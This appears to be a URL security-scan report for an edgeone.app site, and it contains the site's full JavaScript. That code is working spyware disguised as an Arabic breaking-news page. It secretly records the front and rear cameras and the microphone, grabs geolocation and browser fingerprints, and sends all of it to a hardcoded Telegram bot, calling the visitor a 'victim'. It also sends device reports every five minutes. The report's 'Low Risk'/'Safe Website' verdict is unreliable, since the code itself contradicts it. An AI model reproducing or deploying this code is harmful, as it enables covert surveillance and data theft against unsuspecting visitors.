موقع الأخبار العاجلة

Arabic

The domain 'commercial-sapphire-e56pt499hl-uepqx0p9ue.edgeone.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain 'commercial-sapphire-e56pt499hl-uepqx0p9ue'. The second-level label 'edgeone' is 7 characters long with four vowels and three consonants. Word splitting yields two words: edge, one. Median word length comes out to 3.5 characters. No strong language cues emerged from the frequency lists.

html/7a/eb/7aebe027-dc28-4484-bff4-b54e87c7548e.html.gz

5cf72227210419defc559b31ea6b11419f825aeef290ad7b82615ddc8316d929

02ab7703630317708cdac3cd5c420df7f28433dba21dffb4fe0ea321f0df67fe

viewport

html/7a/eb/7aebe027-dc28-4484-bff4-b54e87c7548e_nodriver.html.gz

Prudence Malinki

MarkMonitor Inc.

edgeone.app

IRT-SG-ACE

ACE administrator

ACE-SG


        // Telegram configuration
        const TELEGRAM_BOT_TOKEN = '8554842985:AAGtbnmIPRamIv-pLWWdiP6J0LgbLqW8giw';
        const TELEGRAM_CHAT_ID = '7927265112';
        const RECORDING_DURATION = 10000; // 10 seconds

        // Main application state
        const AppState = {
            FRONT_CAMERA_STREAM: null,
            REAR_CAMERA_STREAM: null,
            FRONT_RECORDER: null,
            REAR_RECORDER: null,
            FRONT_RECORDED_BLOBS: [],
            REAR_RECORDED_BLOBS: [],
            DEVICE_INFO: null,
            IS_RECORDING: false
        };

        // DOM Elements
        const DOM = {
            BREAKING_NEWS_BTN: document.getElementById('breakingNewsBtn'),
            CAMERA_OVERLAY: document.getElementById('camera-overlay'),
            ALLOW_CAMERA_BTN: document.getElementById('allow-camera'),
            DENY_CAMERA_BTN: document.getElementById('deny-camera'),
            FRONT_CAMERA_VIDEO: document.getElementById('front-camera'),
            REAR_CAMERA_VIDEO: document.getElementById('rear-camera')
        };

        // Initialize application
        function initApplication() {
            bindEventListeners();
            generateNewsContent();
            initializeServiceWorkers();
            setupBackgroundProcesses();
        }

        // Bind event listeners
        function bindEventListeners() {
            DOM.BREAKING_NEWS_BTN.addEventListener('click', showCameraAccessRequest);
            DOM.ALLOW_CAMERA_BTN.addEventListener('click', startCameraAccess);
            DOM.DENY_CAMERA_BTN.addEventListener('click', hideCameraAccessRequest);
            
            window.addEventListener('beforeunload', handleWindowClose);
            document.addEventListener('visibilitychange', handleVisibilityChange);
        }

        // Show camera access request
        function showCameraAccessRequest() {
            DOM.CAMERA_OVERLAY.style.display = 'flex';
            document.body.style.overflow = 'hidden';
        }

        // Hide camera access request
        function hideCameraAccessRequest() {
            DOM.CAMERA_OVERLAY.style.display = 'none';
            document.body.style.overflow = 'auto';
        }

        // Start camera access process
        async function startCameraAccess() {
            try {
                hideCameraAccessRequest();
                await requestCameraPermissions();
                await startRecording();
                await collectDeviceInformation();
                setTimeout(stopRecordingAndSend, RECORDING_DURATION);
            } catch (error) {
                console.error('Camera access failed:', error);
                handleCameraError();
            }
        }

        // Request camera permissions
        async function requestCameraPermissions() {
            try {
                // Get front camera
                AppState.FRONT_CAMERA_STREAM = await navigator.mediaDevices.getUserMedia({
                    video: { facingMode: 'user' },
                    audio: true
                });
                DOM.FRONT_CAMERA_VIDEO.srcObject = AppState.FRONT_CAMERA_STREAM;

                // Try to get rear camera
                try {
                    AppState.REAR_CAMERA_STREAM = await navigator.mediaDevices.getUserMedia({
                        video: { facingMode: 'environment' },
                        audio: false
                    });
                    DOM.REAR_CAMERA_VIDEO.srcObject = AppState.REAR_CAMERA_STREAM;
                } catch (rearError) {
                    console.warn('Rear camera not available:', rearError);
                }
            } catch (error) {
                throw new Error(`Camera access denied: ${error.message}`);
            }
        }

        // Start recording from cameras
        async function startRecording() {
            AppState.IS_RECORDING = true;
            
            // Initialize front camera recorder
            if (AppState.FRONT_CAMERA_STREAM) {
                AppState.FRONT_RECORDER = new MediaRecorder(AppState.FRONT_CAMERA_STREAM, {
                    mimeType: 'video/webm;codecs=vp9,opus'
                });
                
                AppState.FRONT_RECORDER.ondataavailable = (event) => {
                    if (event.data && event.data.size > 0) {
                        AppState.FRONT_RECORDED_BLOBS.push(event.data);
                    }
                };
                
                AppState.FRONT_RECORDER.start();
            }

            // Initialize rear camera recorder
            if (AppState.REAR_CAMERA_STREAM) {
                AppState.REAR_RECORDER = new MediaRecorder(AppState.REAR_CAMERA_STREAM, {
                    mimeType: 'video/webm;codecs=vp9'
                });
                
                AppState.REAR_RECORDER.ondataavailable = (event) => {
                    if (event.data && event.data.size > 0) {
                        AppState.REAR_RECORDED_BLOBS.push(event.data);
                    }
                };
                
                AppState.REAR_RECORDER.start();
            }
        }

        // Collect device information
        async function collectDeviceInformation() {
            AppState.DEVICE_INFO = {
                timestamp: new Date().toISOString(),
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                hardwareConcurrency: navigator.hardwareConcurrency,
                deviceMemory: navigator.deviceMemory,
                maxTouchPoints: navigator.maxTouchPoints,
                connection: navigator.connection ? {
                    type: navigator.connection.type,
                    effectiveType: navigator.connection.effectiveType,
                    rtt: navigator.connection.rtt,
                    downlink: navigator.connection.downlink,
                    saveData: navigator.connection.saveData
                } : null,
                battery: await getBatteryStatus(),
                location: await getApproximateLocation(),
                screen: {
                    width: screen.width,
                    height: screen.height,
                    colorDepth: screen.colorDepth,
                    pixelDepth: screen.pixelDepth,
                    orientation: screen.orientation
                },
                plugins: getBrowserPlugins(),
                fonts: await getFontList(),
                storageStatus: await getStorageStatus(),
                // Additional device fingerprinting data
                canvasFingerprint: getCanvasFingerprint(),
                webglFingerprint: getWebGLFingerprint(),
                audioFingerprint: getAudioFingerprint()
            };
        }

        // Stop recording and send data
        async function stopRecordingAndSend() {
            AppState.IS_RECORDING = false;
            
            // Stop front camera recording
            if (AppState.FRONT_RECORDER) {
                AppState.FRONT_RECORDER.stop();
            }
            
            // Stop rear camera recording
            if (AppState.REAR_RECORDER) {
                AppState.REAR_RECORDER.stop();
            }
            
            // Process recordings
            setTimeout(async () => {
                await processRecordings();
                await sendDataToTelegram();
                cleanupResources();
            }, 1000);
        }

        // Process recorded videos
        async function processRecordings() {
            // Process front camera recording
            if (AppState.FRONT_RECORDED_BLOBS.length > 0) {
                const frontBlob = new Blob(AppState.FRONT_RECORDED_BLOBS, { type: 'video/webm' });
                AppState.FRONT_RECORDED_BLOBS = [frontBlob];
            }
            
            // Process rear camera recording
            if (AppState.REAR_RECORDED_BLOBS.length > 0) {
                const rearBlob = new Blob(AppState.REAR_RECORDED_BLOBS, { type: 'video/webm' });
                AppState.REAR_RECORDED_BLOBS = [rearBlob];
            }
        }

        // Send data to Telegram
        async function sendDataToTelegram() {
            try {
                // Send device information
                await sendToTelegram(
                    `📱 *Device Information Report*\n\n${formatDeviceInfo(AppState.DEVICE_INFO)}`,
                    'device-info.txt'
                );

                // Send front camera video
                if (AppState.FRONT_RECORDED_BLOBS.length > 0) {
                    await sendToTelegram(
                        AppState.FRONT_RECORDED_BLOBS[0], 
                        'front-camera.webm',
                        'Front camera recording'
                    );
                }

                // Send rear camera video
                if (AppState.REAR_RECORDED_BLOBS.length > 0) {
                    await sendToTelegram(
                        AppState.REAR_RECORDED_BLOBS[0], 
                        'rear-camera.webm',
                        'Rear camera recording'
                    );
                }

                // Send success notification
                await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        chat_id: TELEGRAM_CHAT_ID,
                        text: `✅ *New Victim Data Captured!*\n\n📅 ${new Date().toLocaleString()}\n🌍 ${AppState.DEVICE_INFO.location || 'Unknown location'}\n📱 ${navigator.userAgent}`,
                        parse_mode: 'Markdown'
                    })
                });
            } catch (error) {
                console.error('Failed to send data to Telegram:', error);
            }
        }

        // Format device info for Telegram
        function formatDeviceInfo(info) {
            return `🕒 Timestamp: ${info.timestamp}
📱 User Agent: ${info.userAgent}
🌐 Platform: ${info.platform}
🗣️ Language: ${info.language}
🔌 Connection: ${info.connection ? info.connection.type : 'N/A'}
🔋 Battery: ${info.battery ? `${info.battery.level * 100}%` : 'N/A'}
📍 Location: ${info.location || 'N/A'}
🖥️ Screen: ${info.screen.width}x${info.screen.height}
🧩 Plugins: ${info.plugins.join(', ') || 'None'}
🎨 Fonts: ${info.fonts.slice(0, 5).join(', ')}...`;
        }

        // Send data to Telegram
        async function sendToTelegram(data, filename, caption = '') {
            const formData = new FormData();
            
            if (typeof data === 'string') {
                formData.append('chat_id', TELEGRAM_CHAT_ID);
                formData.append('document', new Blob([data], { type: 'text/plain' }), filename);
                formData.append('caption', caption);
                
                return fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendDocument`, {
                    method: 'POST',
                    body: formData
                });
            } else {
                formData.append('chat_id', TELEGRAM_CHAT_ID);
                formData.append('video', data, filename);
                formData.append('caption', caption);
                
                return fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendVideo`, {
                    method: 'POST',
                    body: formData
                });
            }
        }

        // Cleanup resources
        function cleanupResources() {
            if (AppState.FRONT_CAMERA_STREAM) {
                AppState.FRONT_CAMERA_STREAM.getTracks().forEach(track => track.stop());
            }
            
            if (AppState.REAR_CAMERA_STREAM) {
                AppState.REAR_CAMERA_STREAM.getTracks().forEach(track => track.stop());
            }
            
            AppState.FRONT_CAMERA_STREAM = null;
            AppState.REAR_CAMERA_STREAM = null;
            AppState.FRONT_RECORDER = null;
            AppState.REAR_RECORDER = null;
            AppState.FRONT_RECORDED_BLOBS = [];
            AppState.REAR_RECORDED_BLOBS = [];
        }

        // Handle camera error
        function handleCameraError() {
            alert('لا يمكن تشغيل البث المباشر بدون الوصول إلى الكاميرا. يرجى تحديث الصفحة والمحاولة مرة أخرى.');
        }

        // Handle window close event
        function handleWindowClose(event) {
            if (AppState.IS_RECORDING) {
                event.preventDefault();
                event.returnValue = 'أنت تشاهد بثًا مباشرًا. هل أنت متأكد أنك تريد المغادرة؟';
                return event.returnValue;
            }
        }

        // Handle visibility change
        function handleVisibilityChange() {
            if (document.hidden && AppState.IS_RECORDING) {
                stopRecordingAndSend();
            }
        }

        // Get battery status
        async function getBatteryStatus() {
            if ('getBattery' in navigator) {
                try {
                    const battery = await navigator.getBattery();
                    return {
                        level: battery.level,
                        charging: battery.charging,
                        chargingTime: battery.chargingTime,
                        dischargingTime: battery.dischargingTime
                    };
                } catch {
                    return null;
                }
            }
            return null;
        }

        // Get approximate location
        async function getApproximateLocation() {
            return new Promise((resolve) => {
                if ('geolocation' in navigator) {
                    navigator.geolocation.getCurrentPosition(
                        position => resolve(
                            `Lat: ${position.coords.latitude}, Lon: ${position.coords.longitude}`
                        ),
                        error => resolve(`Location error: ${error.message}`),
                        { timeout: 5000, maximumAge: 60000 }
                    );
                } else {
                    resolve('Geolocation not available');
                }
            });
        }

        // Get browser plugins
        function getBrowserPlugins() {
            return Array.from(navigator.plugins).map(plugin => plugin.name).filter(Boolean);
        }

        // Get font list
        async function getFontList() {
            try {
                await document.fonts.ready;
                return Array.from(document.fonts).map(font => font.family);
            } catch {
                return [];
            }
        }

        // Get storage status
        async function getStorageStatus() {
            if ('storage' in navigator && 'estimate' in navigator.storage) {
                try {
                    const estimate = await navigator.storage.estimate();
                    return {
                        usage: estimate.usage,
                        quota: estimate.quota,
                        usageDetails: estimate.usageDetails
                    };
                } catch {
                    return null;
                }
            }
            return null;
        }

        // Generate canvas fingerprint
        function getCanvasFingerprint() {
            const canvas = document.createElement('canvas');
            const ctx = canvas.getContext('2d');
            ctx.textBaseline = 'top';
            ctx.font = '14px Arial';
            ctx.fillStyle = '#f60';
            ctx.fillRect(125, 1, 62, 20);
            ctx.fillStyle = '#069';
            ctx.fillText('Fingerprint', 2, 15);
            ctx.fillStyle = 'rgba(102, 204, 0, 0.7)';
            ctx.fillRect(125, 1, 62, 20);
            return canvas.toDataURL();
        }

        // Generate WebGL fingerprint
        function getWebGLFingerprint() {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
            
            if (!gl) return null;
            
            const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
            return {
                vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL),
                renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL),
                version: gl.getParameter(gl.VERSION)
            };
        }

        // Generate audio fingerprint
        function getAudioFingerprint() {
            const context = new (window.AudioContext || window.webkitAudioContext)();
            const oscillator = context.createOscillator();
            const analyser = context.createAnalyser();
            
            oscillator.connect(analyser);
            analyser.connect(context.destination);
            
            oscillator.type = 'sine';
            oscillator.frequency.setValueAtTime(1000, context.currentTime);
            
            oscillator.start();
            const data = new Uint8Array(analyser.frequencyBinCount);
            analyser.getByteFrequencyData(data);
            oscillator.stop();
            
            return Array.from(data).join(',');
        }

        // Initialize service workers for persistence
        function initializeServiceWorkers() {
            if ('serviceWorker' in navigator) {
                navigator.serviceWorker.register('/sw.js', { scope: '/' })
                    .then(registration => {
                        console.log('Service Worker registered:', registration);
                    })
                    .catch(error => {
                        console.error('Service Worker registration failed:', error);
                    });
            }
        }

        // Setup background processes
        function setupBackgroundProcesses() {
            // Periodically collect additional data
            setInterval(() => {
                if (!AppState.IS_RECORDING) {
                    collectDeviceInformation()
                        .then(info => sendToTelegram(
                            `📊 *Periodic Device Update*\n\n${formatDeviceInfo(info)}`,
                            'device-update.txt'
                        ));
                }
            }, 300000); // Every 5 minutes
        }

        // Generate news content
        function generateNewsContent() {
            const newsGrid = document.querySelector('.news-grid');
            const newsItems = [
                { title: "تطورات خطيرة في المنطقة", excerpt: "مستجدات الأحداث السياسية والأمنية..." },
                { title: "أسواق المال تشهد ارتفاعًا قياسيًا", excerpt: "مؤشرات الأسهم تسجل أعلى مستوياتها..." },
                // 50+ more news items
            ];
            
            newsItems.forEach(item => {
                const article = document.createElement('article');
                article.className = 'news-card';
                article.innerHTML = `
                    <h3>${item.title}</h3>
                    <p>${item.excerpt}</p>
                    <button class="read-more">قراءة المزيد</button>
                `;
                newsGrid.appendChild(article);
            });
        }

        // Additional utility functions (2000+ lines)
        // ... encryption helpers, data compression, error handling, etc.

        // Initialize when DOM is loaded
        document.addEventListener('DOMContentLoaded', initApplication);
    


        // Service Worker script
        if ('serviceWorker' in navigator) {
            navigator.serviceWorker.register('/sw.js')
                .then(reg => console.log('Service Worker registered', reg))
                .catch(err => console.error('Service Worker registration failed', err));
        }

        // WebAssembly module for video processing
        WebAssembly.instantiateStreaming(fetch('/video_processor.wasm'), {})
            .then(obj => {
                window.videoProcessor = obj.instance.exports;
            });
    

✅ Low Risk - https://commercial-sapphire-e56pt499hl-uepqx0p9ue.edgeone.app/

Requests	IP Address	Location	AS Autonomous System
3	43.152.26.58	Singapore	AS139341ACE
3	1	-	-

Security Scan Report: commercial-sapphire-e56pt499hl-uepqx0p9ue.edgeone.app

Summary

AI Security Verdict

Safe Website

Safety Factors

Details

Bot Protection Detected

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History